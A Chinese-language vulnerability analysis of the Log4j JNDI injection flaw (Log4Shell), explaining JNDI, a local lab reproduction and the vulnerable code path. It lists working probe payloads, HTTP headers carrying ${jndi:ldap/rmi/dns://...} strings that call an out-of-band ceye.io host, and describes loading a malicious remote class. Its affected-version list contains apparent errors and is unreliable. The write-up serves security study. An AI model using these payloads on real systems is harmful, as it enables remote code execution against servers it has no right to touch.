一、前置知识
1.1漏洞成因
该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。这里面有一个关键点就是,什么是JNDI,为什么JNDI可以造成RCE
关于什么是JNDI注入,请看下面分析
JNDI基本介绍
JNDI(Java Naming and Directory Interface–Java命名和目录接口)是Java中为命名和目录服务提供接口的API,通过名字可知道,JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象,而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性同时操作属性。
JNDI架构图
JNDI主要由JNDI API和JNDI SPI两部分组成,Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。
JNDI核心API
类名 | 描述 |
Context | 命名服务的接口类,由很多的name-to-object的健值对组成,可以通过该接口将健值对绑定到该类中,也可通过该类根据name获取其绑定的对象 |
InitialContext | Naming(命名服务)操作的入口类,通过该类可对命名服务进行相关的操作 |
DirContext | Directory目录服务的接口类,该类继承自Context,在Naming服务的基础上扩展了对于对象属性的绑定和获取操作 |
InitialDirContext | Directory目录服务相关操作的入口类,通过该类可进行目录相关服务的操作 |
1. Context核心方法
/**可根据Name实现类或者字符串name去获取绑定在context中的对象**/ public Object lookup(Name name) throws NamingException; public Object lookup(String name) throws NamingException; /**可使用Name实现类或者字符串name将对象绑定到Context中*/ public void bind(Name name, Object obj) throws NamingException; public void bind(String name, Object obj) throws NamingException;
2. DirContext核心方法
/**可根据Name或者name获取绑定对象的所有已关联的属性*/ public Attributes getAttributes(Name name) throws NamingException; public Attributes getAttributes(String name) throws NamingException; /**可根据Name或者name和属性标识符id相关联的属性/ public Attributes getAttributes(Name name, String[] attrIds) throws NamingException; public Attributes getAttributes(String name, String[] attrIds) throws NamingException; /**将Name和Object绑定起来,同时将属性关联到相应的对象上去*/ public void bind(Name name, Object obj, Attributes attrs) throws NamingException; public void bind(String name, Object obj, Attributes attrs) throws NamingException;
JNDI操作目录服务代码编写
下面我将写一个实例和案例来对比,更直观理解JNDI的实际场景
实例(以下过程是本地加载实例对象)
pom.xml文件
nihao.java
JndiServer.java
关于Reference类讲解:
其中ReferenceWrapper 类需要继承UnicastRemoteObject类,即实现远程调用其他类
这个程序,开启一个rmi服务,绑定了nihao类,并且只会加载本地nihao类。对外暴露的远程服务是:jndi:rmi://localhost:1099/evil。当远程客户端调用这个服务,nihao类就被初始化,并执行static代码块中的打印功能。
JndiTest.java
先启动远程服务类JndiServer,然后运行JndiTest,控制台打印如下:
从上面的打印结果来看,我们在客户端里面其实就是想输出日志,但是我们通过一些表达式,比如:LOGGER.error("hello,{}","${jndi:rmi://localhost:1099/evil}")来拼接日志信息,日志会进行格式化,在格式化的时候,会查找一些lookup,这里面有如下的lookup:
正好就有jdni这个lookup,所以这里示例最后就根据表达式执行rmi操作。
还可以试试upper格式化操作:
以上就是JNDI的一个简单调用过程
下面我将换成案例来演示,对于不大懂Java的同学看了之后更直观
案例(以下过程是远程加载实例对象)
和上面步骤一样,只是bind的对象不一样
exp.java
为何没有包名,因为我接下来注册服务时Reference.factory的第二个参数不指定路径名
将exp编译一下,可以使用cmd命令javac exp
JndiServer.java
此时我指定了要加载代码的远程地址
JndiTest.java
先启动远程服务类JndiServer,然后在exp.class目录下开启一个web服务,此次我用python开启,然后运行JndiTest,控制台打印如下:
1.2漏洞影响版本
log4j-1.2.x log4j:1.2.17及之前版本 log4j-1.2.8 log4j:1.2.14 log4j:1.2.12 log4j:1.2.11 log4j:1.2.9 log4j:1.2.3 log4j-1.2.17 log4j:1.2.15 log4j:1.2.13 log4j:1.2.16 log4j:1.2.10 log4j:1.2.7 log4j:1.2.1 log4j-1.3-Alpha (当时的实验版本,已经停止开发) log4j-1.4.x log4j:1.4.2至1.4.17 log4j:1.4.1 log4j:1.4 log4j-1.5.x及以上版本 log4j:1.5.0至1.5.16 log4j:1.5.17至1.5.20 log4j:1.5.21至1.5.22 log4j:1.5.23 log4j:1.5.24 log4j-1.6.x及以上版本 log4j-2.x版本 log4j:2.0至2.17 (<=2.17.0)
二、环境搭建
使用IDEA创建一个pom工程项目,在pom文件引入log4j-core项目。触发漏洞的文件是在core里面,所以只需要引入log4j-core这个即可。
jdk版本,我使用的是jdk_1.7u80版本。因为该版本的jdk对JNDI没有限制,可以使用ldap和rmi协议进行远程加载。
exp.java log4jTest.java Log4jServer.java 就是对应上面的JNDI的代码
下面是一些log4j常用的探测payload
X-Client-IP: ${jndi:ldap://1644763261510dpicz.zdl7qs.ceye.io/VXBQo} X-Remote-IP: ${jndi:ldap://1644763261510jnabe.zdl7qs.ceye.io/vl} X-Remote-Addr: ${jndi:ldap://1644763261510xplnj.zdl7qs.ceye.io/hTE} X-Forwarded-For: ${jndi:ldap://1644763261510lbnhl.zdl7qs.ceye.io/hvgsw} X-Originating-IP: ${jndi:ldap://1644763261510pbhdy.zdl7qs.ceye.io/LxrC} True-Client-IP: ${jndi:rmi://1644763261510jjchm.zdl7qs.ceye.io/FrfXm} Originating-IP: ${jndi:rmi://1644763261510jctho.zdl7qs.ceye.io/vbP} X-Real-IP: ${jndi:rmi://1644763261510fyvxt.zdl7qs.ceye.io/fWmjt} Client-IP: ${jndi:rmi://1644763261510nfaoa.zdl7qs.ceye.io/mS} X-Api-Version: ${jndi:rmi://1644763261510daeem.zdl7qs.ceye.io/IdJ} Sec-Ch-Ua: ${jndi:dns://1644763261510wjiit.zdl7qs.ceye.io/IX} Sec-Ch-Ua-Platform: ${jndi:dns://1644763261510dacbb.zdl7qs.ceye.io/ftA} Sec-Fetch-Site: ${jndi:dns://1644763261510rypwe.zdl7qs.ceye.io/asWuD} Sec-Fetch-Mode: ${jndi:dns://1644763261510osrig.zdl7qs.ceye.io/zc} Sec-Fetch-User: ${jndi:dns://1644763261510uvfsl.zdl7qs.ceye.io/oNpOs} Sec-Fetch-Dest: ${jndi:dns://1644763261510ptqen.zdl7qs.ceye.io/fGwFl}
以及一些变形的payload:
三、漏洞复现
用的jdk版本是jdk7u80
运行以上代码,观察到ceye平台上有反查记录,说明代码lookup了bbb.p9seqf.ceye.io域名,留下了查找记录
既然能远程访问,那返回的又是什么呢,有没有可能加载远程服务器上的恶意类呢?答案是肯定的,我们只需要构建一个ldap或rmi远程服务即可,让远程服务器返回恶意class,如图
复现过程
1、开启服务端
2、开启http服务
3、启动测试类
四、代码分析
由于链比较长,所以分析比较重点的节点
上图打上断点,而后会根据下面的调用流一步步走
来到StrSubstitutor类,这个类就开始比较关键,也是这个类开始,进入反序列化的前奏。因为它进入了lookup方法,这个方法里面会调用JNDI的链
上图中,除了log4j可以调用lookup方法外,还有sys,ctx,env等都可以调用。可以找找看有没有可利用的链
此次开始往下走是进入到了JNDI的调用链了。主要过程是生成rmi实例-->获取Reference实例-->判断JNDI的绑定对象是否在本地(Naming)-->是在本地就从本地加载--->不是在本地就从远程加载
在RegistryContext类中获得exp类的实例对象
跟进getObjectInstance方法,如果ref不为空,则从ref中获取exp的工厂类
进入getObjectFactoryFromReference方法,先判断本地是否有exp类,有则从本地加载,没有,则从远程加载
继续跟进,进入loadClass方法
class.forName反射调用exp类,且第二个参数为true,则会加载exp类的静态方法。